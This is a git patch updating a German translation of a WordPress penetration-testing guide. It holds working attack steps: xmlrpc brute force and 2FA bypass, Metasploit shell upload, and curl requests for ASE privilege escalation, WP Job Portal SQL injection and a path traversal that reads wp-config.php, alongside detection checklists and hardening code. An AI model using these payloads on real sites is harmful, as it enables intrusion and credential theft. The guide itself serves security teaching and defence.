From d02b966abdd3e9648a5f31b5ff19887efb392795 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:36:33 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/wordpress.md --- .../pentesting-web/wordpress.md | 110 ++++++++++++++---- 1 file changed, 88 insertions(+), 22 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index f7c47ec14..0cdd392a6 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -15,7 +15,7 @@ ### **Haupt WordPress Dateien** - `index.php` -- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version. +- `license.txt` enthält nützliche Informationen wie die installierte Version von WordPress. - `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet. - Login-Ordner (könnten umbenannt werden, um sie zu verbergen): - `/wp-admin/login.php` @@ -103,7 +103,7 @@ Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erste Beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte. -- **Benutzernamenenumeration beim Login**: Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** **anders**, wenn der angegebene **Benutzername existiert oder nicht**. +- **Benutzername-Enumeration beim Login**: Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** **anders**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**. ### XML-RPC @@ -132,7 +132,7 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u ``` -Die Nachricht _"Ungültiger Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen nicht gültig sind. +Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen ungültig sind. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) @@ -174,7 +174,7 @@ Es gibt auch einen **schnelleren Weg**, um Anmeldeinformationen mit **`system.mu **Umgehung von 2FA** -Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen unter Umgehung von 2FA anzumelden**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt. +Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt. **DDoS oder Port-Scanning** @@ -210,7 +210,7 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni ### wp-cron.php DoS Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\ -Wenn diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um einen **DoS** zu **verursachen**.\ +Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\ Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann. Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen). @@ -246,7 +246,7 @@ return new WP_Error( ``` ## **Panel RCE** -**Ändern einer PHP-Datei aus dem verwendeten Theme (Admin-Anmeldeinformationen erforderlich)** +**Ändern einer PHP-Datei des verwendeten Themas (Admin-Anmeldeinformationen erforderlich)** Aussehen → Theme-Editor → 404-Vorlage (rechts) @@ -262,7 +262,7 @@ Sie können verwenden: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` -um eine Sitzung zu erhalten. +to get a session. ## Plugin RCE @@ -362,17 +362,17 @@ $this->namespace, '/get/', array( ) ); ``` -Der `permission_callback` ist ein Rückruf zu einer Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen. +Der `permission_callback` ist eine Rückruffunktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen. **Wenn die eingebaute `__return_true`-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.** - **Direkter Zugriff auf die PHP-Datei** -Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, ist es für jeden Benutzer ausnutzbar. +Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, kann es von jedem Benutzer ausgenutzt werden. ### Unauthentifizierte willkürliche Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress-Themen und -Plugins legen häufig AJAX-Handler über die `wp_ajax_` und `wp_ajax_nopriv_` Hooks offen. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Rückruf für unauthentifizierte Besucher erreichbar**, sodass jede sensible Aktion zusätzlich implementieren muss: +WordPress-Themes und -Plugins legen häufig AJAX-Handler über die `wp_ajax_` und `wp_ajax_nopriv_` Hooks offen. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Rückruf für unauthentifizierte Besucher erreichbar**, sodass jede sensible Aktion zusätzlich implementieren muss: 1. Eine **Berechtigungsüberprüfung** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und 2. Ein **CSRF-Nonce**, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und @@ -400,8 +400,8 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove Issues introduced by this snippet: * **Unauthentifizierter Zugriff** – der `wp_ajax_nopriv_` Hook ist registriert. -* **Kein Nonce / Berechtigungsprüfung** – jeder Besucher kann den Endpunkt erreichen. -* **Keine Pfadsanitisierung** – der vom Benutzer kontrollierte `fontfamily`-String wird ohne Filterung an einen Dateisystempfad angehängt, was klassische `../../` Traversierung ermöglicht. +* **Kein Nonce-/Berechtigungscheck** – jeder Besucher kann den Endpunkt aufrufen. +* **Keine Pfadsanitisierung** – der benutzerkontrollierte `fontfamily`-String wird ohne Filterung an einen Dateisystempfad angehängt, was klassische `../../` Traversierung ermöglicht. #### Ausnutzung @@ -415,7 +415,7 @@ Weil `wp-config.php` außerhalb von *uploads* liegt, sind vier `../`-Sequenzen b Weitere wichtige Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln. -#### Erkennungscheckliste +#### Erkennungs-Checkliste * Jeder `add_action( 'wp_ajax_nopriv_...')`-Callback, der Dateisystem-Helfer aufruft (`copy()`, `unlink()`, `$wp_filesystem->delete()`, usw.). * Verkettung von unsaniertem Benutzereingaben in Pfade (suchen Sie nach `$_POST`, `$_GET`, `$_REQUEST`). @@ -442,7 +442,71 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ ``` > [!TIP] > **Behandeln Sie** jede Schreib-/Löschoperation auf der Festplatte als privilegiert und überprüfen Sie doppelt: -> • Authentifizierung • Autorisierung • Nonce • Eingabesäuberung • Pfadbegrenzung (z.B. über `realpath()` plus `str_starts_with()`). +> • Authentifizierung • Autorisierung • Nonce • Eingabesäuberung • Pfadbegrenzung (z. B. über `realpath()` plus `str_starts_with()`). + +--- + +### Privilegieneskalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE "View Admin as Role") + +Viele Plugins implementieren eine "als Rolle anzeigen" oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) in den Benutzermetadaten speichern, damit sie später wiederhergestellt werden können. Wenn der Wiederherstellungspfad nur auf Anfrageparametern (z. B. `$_REQUEST['reset-for']`) und einer vom Plugin verwalteten Liste basiert, ohne die Berechtigungen und eine gültige Nonce zu überprüfen, wird dies zu einer vertikalen Privilegieneskalation. + +Ein Beispiel aus der Praxis wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Rücksetz-Zweig stellte Rollen basierend auf `reset-for=` wieder her, wenn der Benutzername in einem internen Array `$options['viewing_admin_as_role_are']` erschien, führte jedoch weder eine `current_user_can()`-Überprüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die gespeicherten Rollen aus den Benutzermetadaten `_asenha_view_admin_as_original_roles` wieder hinzugefügt wurden: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +Warum es ausnutzbar ist + +- Vertraut `$_REQUEST['reset-for']` und einer Plugin-Option ohne serverseitige Autorisierung. +- Wenn ein Benutzer zuvor höhere Berechtigungen in `_asenha_view_admin_as_original_roles` gespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. +- In einigen Bereitstellungen konnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in `viewing_admin_as_role_are` vorhanden ist (gebrochene Autorisierung). + +Angriffs-Voraussetzungen + +- Verwundbare Plugin-Version mit aktivierter Funktion. +- Zielkonto hat eine veraltete hochprivilegierte Rolle, die aus früherer Nutzung im Benutzermeta gespeichert ist. +- Jede authentifizierte Sitzung; fehlender nonce/Fähigkeit im Reset-Prozess. + +Ausnutzung (Beispiel) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +Auf anfälligen Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten ursprünglichen Rollen (z. B. `administrator`) wieder hinzu, was effektiv die Berechtigungen erhöht. + +Erkennungscheckliste + +- Suchen Sie nach Funktionen zum Rollenwechsel, die „ursprüngliche Rollen“ in den Benutzermetadaten speichern (z. B. `_asenha_view_admin_as_original_roles`). +- Identifizieren Sie Rücksetz-/Wiederherstellungspfade, die: + - Benutzernamen aus `$_REQUEST` / `$_GET` / `$_POST` lesen. + - Rollen über `add_role()` / `remove_role()` ohne `current_user_can()` und `wp_verify_nonce()` / `check_admin_referer()` ändern. + - Basierend auf einem Plugin-Optionsarray (z. B. `viewing_admin_as_role_are`) anstelle der Fähigkeiten des Akteurs autorisieren. + +Härtung + +- Erzwingen Sie Berechtigungsprüfungen in jedem zustandsändernden Zweig (z. B. `current_user_can('manage_options')` oder strenger). +- Erfordern Sie Nonces für alle Rollen-/Berechtigungsänderungen und überprüfen Sie diese: `check_admin_referer()` / `wp_verify_nonce()`. +- Vertrauen Sie niemals auf von Anfragen bereitgestellte Benutzernamen; ermitteln Sie den Zielbenutzer serverseitig basierend auf dem authentifizierten Akteur und einer expliziten Richtlinie. +- Ungültig machen Sie den Zustand „ursprüngliche Rollen“ bei Profil-/Rollenaktualisierungen, um eine veraltete Wiederherstellung von Hochprivilegien zu vermeiden: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- Erwägen Sie, minimalen Zustand zu speichern und zeitlich begrenzte, berechtigungsbewachte Tokens für temporäre Rollenwechsel zu verwenden. --- @@ -486,11 +550,11 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ``` Issues introduced by this snippet: -1. **Unsanitised user input** – `parentid` kommt direkt aus der HTTP-Anfrage. -2. **Stringverkettung innerhalb der WHERE-Klausel** – keine `is_numeric()` / `esc_sql()` / vorbereitete Anweisung. -3. **Unauthenticated reachability** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet. +1. **Unsanitized Benutzerinput** – `parentid` kommt direkt aus der HTTP-Anfrage. +2. **String-Verkettung innerhalb der WHERE-Klausel** – kein `is_numeric()` / `esc_sql()` / vorbereitete Anweisung. +3. **Unauthentifizierte Erreichbarkeit** – obwohl die Aktion über `admin-post.php` ausgeführt wird, ist die einzige Überprüfung ein **CSRF nonce** (`wp_verify_nonce()`), den jeder Besucher von einer öffentlichen Seite abrufen kann, die den Shortcode `[wpjobportal_my_resumes]` einbettet. -#### Exploitation +#### Ausnutzung 1. Holen Sie sich einen frischen nonce: ```bash @@ -507,15 +571,15 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder ändert die Datenbank, was SQLi beweist. -### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Unauthentifizierter beliebiger Dateidownload / Pfad Traversierung (WP Job Portal <= 2.3.2) -Eine andere Aufgabe, **downloadcustomfile**, erlaubte es Besuchern, **jede Datei auf der Festplatte** über Path Traversal herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`: +Eine andere Aufgabe, **downloadcustomfile**, erlaubte es Besuchern, **jede Datei auf der Festplatte** über Pfad Traversierung herunterzuladen. Der verwundbare Sink befindet sich in `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` ist vom Angreifer kontrolliert und wird **ohne Sanitisation** verkettet. Wiederum ist die einzige Hürde ein **CSRF-Nonce**, der von der Lebenslaufseite abgerufen werden kann. +`$file_name` ist vom Angreifer kontrolliert und wird **ohne Sanitisation** verkettet. Wiederum ist das einzige Tor ein **CSRF-Nonce**, der von der Lebenslaufseite abgerufen werden kann. #### Ausnutzung ```bash @@ -526,11 +590,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -Der Server antwortet mit den Inhalten von `wp-config.php`, wodurch DB-Anmeldeinformationen und Authentifizierungsschlüssel offengelegt werden. +Der Server antwortet mit dem Inhalt von `wp-config.php`, wodurch DB-Anmeldeinformationen und Authentifizierungsschlüssel offengelegt werden. ## Referenzen - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}